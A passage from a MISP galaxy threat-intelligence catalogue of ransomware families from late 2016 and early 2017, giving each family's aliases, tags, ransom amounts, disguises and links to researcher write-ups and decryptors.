The tag is: *misp-galaxy:ransomware="CryptoSweetTooth Ransomware"*

Table 2964. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/cryptosweettooth.html
http://sensorstechforum.com/remove-cryptosweettooth-ransomware-restore-locked-files/

Kaandsona Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The word Kaandsona is Estonian, therefore the creator is probably from Estonia. Crashes before it encrypts

The tag is: *misp-galaxy:ransomware="Kaandsona Ransomware"*

Kaandsona Ransomware is also known as:

- RansomTroll Ransomware
- Käändsõna Ransomware

Table 2965. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/kaandsona-ransomtroll.html
https://twitter.com/BleepinComputer/status/819927858437099520

LambdaLocker Ransomware

It's directed to English and Chinese speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Python Ransomware

The tag is: *misp-galaxy:ransomware="LambdaLocker Ransomware"*

Table 2966. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/lambdalocker.html
http://cfoc.org/how-to-restore-files-affected-by-the-lambdalocker-ransomware/

NMoreia 2.0 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="NMoreia 2.0 Ransomware"*

NMoreia 2.0 Ransomware is also known as:

- HakunaMatataRansomware

Table 2967. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/hakunamatata.html
https://id-ransomware.blogspot.co.il/2016_03_01_archive.html

Marlboro Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is .2 bitcoin, however there is no point of even trying to pay, since this damage is irreversible. Once the ransom is paid the hacker does not return decrypt the files. Another name is DeMarlboro and it is written in language C++. Pretend to encrypt using RSA-2048 and AES-128 (really it's just XOR)

The tag is: *misp-galaxy:ransomware="Marlboro Ransomware"*

Table 2968. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/marlboro.html
https://decrypter.emsisoft.com/marlboro
https://www.bleepingcomputer.com/news/security/marlboro-ransomware-defeated-in-one-day/

Spora Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Sample of a spam email with a viral attachment: https://4.bp.blogspot.com/-KkJXiHG80S0/WHX4TBpkamI/AAAAAAAADDg/F_bN796ndMYnzfUsgSWMXhRxFf3Ic-HtACLcB/s1600/spam-email.png

The tag is: *misp-galaxy:ransomware="Spora Ransomware"*

Table 2969. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/spora-ransomware.html
https://blog.gdatasoftware.com/2017/01/29442-spora-worm-and-ransomware
http://blog.emsisoft.com/2017/01/10/from-darknet-with-love-meet-spora-ransomware/

CryptoKill Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The files get encrypted, but the decrypt key is not available. NO POINT OF PAYING THE RANSOM, THE FILES WILL NOT BE RETURNED.

The tag is: *misp-galaxy:ransomware="CryptoKill Ransomware"*

Table 2970. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/cryptokill-ransomware.html

All_Your_Documents Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="All_Your_Documents Ransomware"*

Table 2971. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/allyourdocuments-ransomware.html

SerbRansom 2017 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 500$ in bitcoins. The name of the hacker is R4z0rx0r Serbian Hacker.

The tag is: *misp-galaxy:ransomware="SerbRansom 2017 Ransomware"*

Table 2972. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/serbransom-2017.html
https://www.bleepingcomputer.com/news/security/ultranationalist-developer-behind-serbransom-ransomware/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-10th-2017-serpent-spora-id-ransomware/
https://twitter.com/malwrhunterteam/status/830116190873849856

Fadesoft Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 0.33 bitcoins.

The tag is: *misp-galaxy:ransomware="Fadesoft Ransomware"*

Table 2973. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/fadesoft-ransomware.html
https://twitter.com/malwrhunterteam/status/829768819031805953
https://twitter.com/malwrhunterteam/status/838700700586684416

HugeMe Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="HugeMe Ransomware"*

Table 2974. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/hugeme-ransomware.html
https://www.ozbargain.com.au/node/228888?page=3
https://id-ransomware.blogspot.co.il/2016/04/magic-ransomware.html

DynA-Crypt Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="DynA-Crypt Ransomware"*

DynA-Crypt Ransomware is also known as:

- DynA CryptoLocker Ransomware

Table 2975. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/dyna-crypt-ransomware.html
https://www.bleepingcomputer.com/news/security/dyna-crypt-not-only-encrypts-your-files-but-also-steals-your-info/

Serpent 2017 Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Serpent 2017 Ransomware"*

Serpent 2017 Ransomware is also known as:

- Serpent Danish Ransomware

Table 2976. Table References

Links

https://id-ransomware.blogspot.co.il/2017/02/serpent-danish-ransomware.html

Erebus 2017 Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Erebus 2017 Ransomware"*

Table 2977. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/erebus-2017-ransomware.html
https://www.bleepingcomputer.com/news/security/erebus-ransomware-utilizes-a-uac-bypass-and-request-a-90-ransom-payment/

Cyber Drill Exercise

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Cyber Drill Exercise "*

Cyber Drill Exercise is also known as:

- Ransomuhahawhere

Table 2978. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/ransomuhahawhere.html

Cancer Ransomware FAKE

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. This is a trollware that does not encrypt your files but makes your computer act crazy (like in the video in the link below). It is meant to be annoying and it is hard to erase from your PC, but possible.

The tag is: *misp-galaxy:ransomware="Cancer Ransomware FAKE"*

Table 2979. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/cancer-ransomware.html
https://www.bleepingcomputer.com/news/security/watch-your-computer-go-bonkers-with-cancer-trollware/

UpdateHost Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Poses as Microsoft Copyright 2017 and requests ransom in bitcoins.

The tag is: *misp-galaxy:ransomware="UpdateHost Ransomware"*

Table 2980. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/updatehost-ransomware.html
https://www.bleepingcomputer.com/startups/Windows_Update_Host-16362.html

Nemesis Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 10 bitcoins.

The tag is: *misp-galaxy:ransomware="Nemesis Ransomware"*

Table 2981. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/nemesis-ransomware.html

Evil Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Domain KZ is used, therefore it is assumed that the decrypter is from Kazakhstan. Coded in Javascript

The tag is: *misp-galaxy:ransomware="Evil Ransomware"*

Evil Ransomware is also known as:

- File0Locked KZ Ransomware

Table 2982. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/evil-ransomware.html
http://www.enigmasoftware.com/evilransomware-removal/
http://usproins.com/evil-ransomware-is-lurking/
https://twitter.com/jiriatvirlab/status/818443491713884161

https://twitter.com/PolarToffee/status/826508611878793219

Ocelot Ransomware (FAKE RANSOMWARE)

It’s directed to English speaking users, therefore is able to infect worldwide. This is a fake ransomware. Your files are not really encrypted, however the attacker does ask for a ransom of .03 bitcoins. It is still dangerous even though it is fake, he still go through to your computer.

The tag is: *misp-galaxy:ransomware="Ocelot Ransomware (FAKE RANSOMWARE)"*

Ocelot Ransomware (FAKE RANSOMWARE) is also known as:

- Ocelot Locker Ransomware

Table 2983. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/ocelot-ransomware.html
https://twitter.com/malwrhunterteam/status/817648547231371264

SkyName Ransomware

It’s directed to Czechoslovakianspeaking users. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear

The tag is: *misp-galaxy:ransomware="SkyName Ransomware"*

SkyName Ransomware is also known as:

- Blablabla Ransomware

Table 2984. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/skyname-ransomware.html
https://twitter.com/malwrhunterteam/status/817079028725190656

MafiaWare Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 155$ inbitcoins. Creator of ransomware is called Mafia. Based on HiddenTear

The tag is: *misp-galaxy:ransomware="MafiaWare Ransomware"*

MafiaWare Ransomware is also known as:

- Depsex Ransomware

Table 2985. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/mafiaware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-january-6th-2017-fsociety-mongodb-pseudo-darkleech-and-more/
https://twitter.com/BleepinComputer/status/817069320937345024

Globe3 Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 3 bitcoins. Extesion depends on the config file. It seems Globe is a ransomware kit.

The tag is: *misp-galaxy:ransomware="Globe3 Ransomware"*

Globe3 Ransomware is also known as:

- Purge Ransomware

Globe3 Ransomware has relationships with:

- similar: misp-galaxy:ransomware="Globe2 Ransomware" with estimative-language:likelihood-probability="likely"

Table 2986. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/globe3-ransomware.html
https://www.bleepingcomputer.com/forums/t/624518/globe-ransomware-help-and-support-purge-extension-how-to-restore-fileshta/
https://www.bleepingcomputer.com/news/security/the-globe-ransomware-wants-to-purge-your-files/
https://decryptors.blogspot.co.il/2017/01/globe3-decrypter.html
https://decrypter.emsisoft.com/globe3

BleedGreen Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 500$ in bitcoins. Requires .NET Framework 4.0. Gets into your startup system and sends you notes like the one below: https://4.bp.blogspot.com/-xrr6aoB_giw/WG1UrGpmZJI/AAAAAAAAC-Q/KtKdQP6iLY4LHaHgudF5dKs6i1JHQOBmgCLcB/s1600/green1.jpg

The tag is: *misp-galaxy:ransomware="BleedGreen Ransomware"*

BleedGreen Ransomware is also known as:

- FireCrypt Ransomware

Table 2987. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/bleedgreen-ransomware.html
https://www.bleepingcomputer.com/news/security/firecrypt-ransomware-comes-with-a-ddos-component/

BTCamant Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Original name is Mission 1996 or Mission: "Impossible" (1996) (like the movie)

The tag is: *misp-galaxy:ransomware="BTCamant Ransomware"*

Table 2988. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/btcamant.html

X3M Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. It is also possible to break in using RDP Windows with the help of Pass-the-Hash system, PuTTY, mRemoteNG, TightVNC, Chrome Remote Desktop, modified version of TeamViewer, AnyDesk, AmmyyAdmin, LiteManager, Radmin and others. Ransom is 700$ in Bitcoins.

The tag is: *misp-galaxy:ransomware="X3M Ransomware"*

Table 2989. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/x3m-ransomware.html

GOG Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="GOG Ransomware"*

Table 2990. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/gog-ransomware.html
https://twitter.com/BleepinComputer/status/816112218815266816

EdgeLocker

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.1 Bitcoins. Original name is TrojanRansom.

The tag is: *misp-galaxy:ransomware="EdgeLocker"*

Table 2991. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/edgelocker-ransomware.html
https://twitter.com/BleepinComputer/status/815392891338194945

Red Alert

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Fake name: Microsoft Corporation. Based on HiddenTear

The tag is: *misp-galaxy:ransomware="Red Alert"*

Red Alert has relationships with:

- similar: misp-galaxy:malpedia="Red Alert" with estimative-language:likelihood-probability="likely"

Table 2992. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/red-alert-ransomware.html
https://twitter.com/JaromirHorejsi/status/815557601312329728

First

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="First"*

Table 2993. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/first-ransomware.html

XCrypt Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Written on Delphi. The user requests the victim to get in touch with him through ICQ to get the ransom and return the files.

The tag is: *misp-galaxy:ransomware="XCrypt Ransomware"*

Table 2994. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/xcrypt-ransomware.html
https://twitter.com/JakubKroustek/status/825790584971472902

7Zipper Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="7Zipper Ransomware"*

Table 2995. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/7zipper-ransomware.html
https://1.bp.blogspot.com/-ClM0LCPjQuk/WI-BgHTpdNI/AAAAAAAADc8/JyEQ8-pcJmsXIntuP-MMdE-pohVncxTXQCLcB/s1600/7-zip-logo.png

Zyka Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 170$ or EUR in Bitcoins.

The tag is: *misp-galaxy:ransomware="Zyka Ransomware"*

Table 2996. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/zyka-ransomware.html

https://www.pcrisk.com/removal-guides/10899-zyka-ransomware
https://download.bleepingcomputer.com/demonslay335/StupidDecrypter.zip
https://twitter.com/GrujaRS/status/826153382557712385

SureRansom Ransomeware (Fake)

It’s directed to English speaking users, therefore is able to strike worldwide. This ransomware does not really encrypt your files. Ransom requested is £50 using credit card.

The tag is: *misp-galaxy:ransomware="SureRansom Ransomeware (Fake)"*

Table 2997. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/sureransom-ransomware.html
http://www.forbes.com/sites/leemathews/2017/01/27/fake-ransomware-is-tricking-people-into-paying/#777faed0381c

Netflix Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware uses the known online library as a decoy. It poses as Netflix Code generator for Netflix login, but instead encrypts your files. The ransom is 100$ in Bitcoins.

The tag is: *misp-galaxy:ransomware="Netflix Ransomware"*

Table 2998. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/netflix-ransomware.html
http://blog.trendmicro.com/trendlabs-security-intelligence/netflix-scam-delivers-ransomware/
https://www.bleepingcomputer.com/news/security/rogue-netflix-app-spreads-netix-ransomware-that-targets-windows-7-and-10-users/
http://www.darkreading.com/attacks-breaches/netflix-scam-spreads-ransomware/d/d-id/1328012
https://4.bp.blogspot.com/-bQQ4DTIClvA/WJCIh6Uq2nI/AAAAAAAADfY/hB5HcjuGgh8rRJKeLHo*IRz3Ezth22-wCEw/s1600/form1.jpg[https://4.bp.blogspot.com/-bQQ4DTIClvA/WJCIh6Uq2nI/AAAAAAAADfY/hB5HcjuGgh8rRJKeLHo*IRz3Ezth22-wCEw/s1600/form1.jpg]
https://4.bp.blogspot.com/-ZnWdPDprJOg/WJCPeCtP4HI/AAAAAAAADfw/kR0ifI1naSwTAwSuOPiw8ZCPr0tSIz1CgCLcB/s1600/netflix-akk.png

Merry Christmas

It’s directed to English and Italian speaking users, therefore is able to infect worldwide. Most attacks are on organizations and servers. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. They pose as a Consumer complaint notification that's coming from Federal Trade Commission from USA, with an attached file called “complaint.pdf”. Written in Delphi by hacker MicrRP.

The tag is: *misp-galaxy:ransomware="Merry Christmas"*

Merry Christmas is also known as:

- Merry X-Mas
- MRCR

Table 2999. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/mrcr1-ransomware.html
https://www.bleepingcomputer.com/news/security/-merry-christmas-ransomware-now-steals-user-private-data-via-diamondfox-malware/
http://www.zdnet.com/article/not-such-a-merry-christmas-the-ransomware-that-also-steals-user-data/
https://www.bleepingcomputer.com/news/security/merry-christmas-ransomware-and-its-dev-comodosecurity-not-bringing-holiday-cheer/
https://decrypter.emsisoft.com/mrcr

Seoirse Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Seoirse is how in Ireland people say the name George. Ransom is 0.5 Bitcoins.

The tag is: *misp-galaxy:ransomware="Seoirse Ransomware"*

Table 3000. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/seoirse-ransomware.html

KillDisk Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Every file is encrypted with a personal AES-key, and then AES-key encrypts with a RSA-1028 key. Hacking by TeleBots (Sandworm). Goes under a fake name: Update center or Microsoft Update center.

The tag is: *misp-galaxy:ransomware="KillDisk Ransomware"*

Table 3001. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/killdisk-ransomware.html
https://www.bleepingcomputer.com/news/security/killdisk-ransomware-now-targets-linux-prevents-boot-up-has-faulty-encryption/
https://www.bleepingcomputer.com/news/security/killdisk-disk-wiping-malware-adds-ransomware-component/
http://www.zdnet.com/article/247000-killdisk-ransomware-demands-a-fortune-forgets-to-unlock-files/
http://www.securityweek.com/destructive-killdisk-malware-turns-ransomware
http://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt/
https://cyberx-labs.com/en/blog/new-killdisk-malware-brings-ransomware-into-industrial-domain/

DeriaLock Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Maker is arizonacode and ransom amount is 20-30$. If the victim decides to pay the ransom, he will have to copy HWID and then speak to the hacker on Skype and forward him the payment.

The tag is: *misp-galaxy:ransomware="DeriaLock Ransomware"*

Table 3002. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/derialock-ransomware.html
https://www.bleepingcomputer.com/news/security/new-derialock-ransomware-active-on-christmas-includes-an-unlock-all-command/

BadEncript Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="BadEncript Ransomware"*

Table 3003. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/badencript-ransomware.html
https://twitter.com/demonslay335/status/813064189719805952

AdamLocker Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The name of the creator is puff69.

The tag is: *misp-galaxy:ransomware="AdamLocker Ransomware"*

Table 3004. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/adamlocker-ransomware.html

Alphabet Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware poses as Windows 10 Critical Update Service. Offers you to update your Windows 10, but instead encrypts your files. For successful attack, the victim must have .NET Framework 4.5.2 installed on him computer.

The tag is: *misp-galaxy:ransomware="Alphabet Ransomware"*

Alphabet Ransomware has relationships with:

- similar: misp-galaxy:malpedia="Alphabet Ransomware" with estimative-language:likelihood-probability="likely"

Table 3005. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/alphabet-ransomware.html
https://twitter.com/PolarToffee/status/812331918633172992

KoKoKrypt Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread by its creator in forums. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files and documents and more. The ransom is 0.1 bitcoins within 72 hours. Uses Windows Update as a decoy. Creator: Talnaci Alexandru

The tag is: *misp-galaxy:ransomware="KoKoKrypt Ransomware"*

KoKoKrypt Ransomware is also known as:

- KokoLocker Ransomware

Table 3006. Table References

Links

https://id-ransomware.blogspot.co.il/2016/12/kokokrypt-ransomware.html
http://removevirusadware.com/tips-for-removeing-kokokrypt-ransomware/

L33TAF Locker Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.5 bitcoins. The name of the creator is staffttt, he also created Fake CryptoLocker

The tag is: *misp-galaxy:ransomware="L33TAF Locker Ransomware"*

Table 3007. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/l33taf-locker-ransomware.html

PClock4 Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam (for example: “you have a criminal case against you”), fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="PClock4 Ransomware"*

PClock4 Ransomware is also known as:

- PClock SysGop Ransomware

Table 3008. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/pclock4-sysgop-ransomware.html

Guster Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware uses VBS-script to send a voice message as the first few lines of the note.

The tag is: *misp-galaxy:ransomware="Guster Ransomware"*

Table 3009. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/guster-ransomware.html

https://twitter.com/BleepinComputer/status/812131324979007492

Roga

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker requests the ransom in Play Store cards. https://3.bp.blogspot.com/-ClUef8T55f4/WGKb8U4GeaI/AAAAAAAACzg/UFD0X2sORHYTVRNBSoqd5q7TBrOblQHmgCLcB/s1600/site.png

The tag is: *misp-galaxy:ransomware="Roga"*

Roga has relationships with:

- similar: misp-galaxy:ransomware="Free-Freedom" with estimative-language:likelihood-probability="likely"

Table 3010. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/roga-ransomware.html

CryptoLocker3 Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Creator is staffttt and the ransom is 0.5 botcoins.

The tag is: *misp-galaxy:ransomware="CryptoLocker3 Ransomware"*

CryptoLocker3 Ransomware is also known as:

- Fake CryptoLocker

Table 3011. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/cryptolocker3-ransomware.html

ProposalCrypt Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 1.0 bitcoins.

The tag is: *misp-galaxy:ransomware="ProposalCrypt Ransomware"*

Table 3012. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/proposalcrypt-ransomware.html
http://www.archersecuritygroup.com/what-is-ransomware/
https://twitter.com/demonslay335/status/812002960083394560
https://twitter.com/malwrhunterteam/status/811613888705859586

Manifestus Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker demands 0.2 bitcoins. The ransomware poses as a Window update.

The tag is: *misp-galaxy:ransomware="Manifestus Ransomware "*

Table 3013. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/manifestus-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-23rd-2016-cryptxxx-koolova-cerber-and-more/
https://twitter.com/struppigel/status/811587154983981056

EnkripsiPC Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The name of the hacker is humanpuff69 and he requests 0.5 bitcoins. The encryption password is based on the computer name

The tag is: *misp-galaxy:ransomware="EnkripsiPC Ransomware"*

EnkripsiPC Ransomware is also known as:

- IDRANSOMv3
- Manifestus

EnkripsiPC Ransomware has relationships with:

- similar: misp-galaxy:malpedia="Manifestus" with estimative-language:likelihood-probability="likely"

Table 3014. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/enkripsipc-ransomware.html
https://twitter.com/demonslay335/status/811343914712100872

https://twitter.com/BleepinComputer/status/811264254481494016
https://twitter.com/struppigel/status/811587154983981056

BrainCrypt Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. So far the victims are from Belarus and Germany.

The tag is: *misp-galaxy:ransomware="BrainCrypt Ransomware"*

Table 3015. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/braincrypt-ransomware.html

MSN CryptoLocker Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.2 bitcoins.

The tag is: *misp-galaxy:ransomware="MSN CryptoLocker Ransomware"*

Table 3016. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/msn-cryptolocker-ransomware.html
https://twitter.com/struppigel/status/810766686005719040

CryptoBlock Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is in the amount is 0.3 bitcoins. The ransomware is disguises themselves as Adobe Systems, Incorporated. RaaS

The tag is: *misp-galaxy:ransomware="CryptoBlock Ransomware "*

Table 3017. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/cryptoblock-ransomware.html
https://twitter.com/drProct0r/status/810500976415281154

AES-NI Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

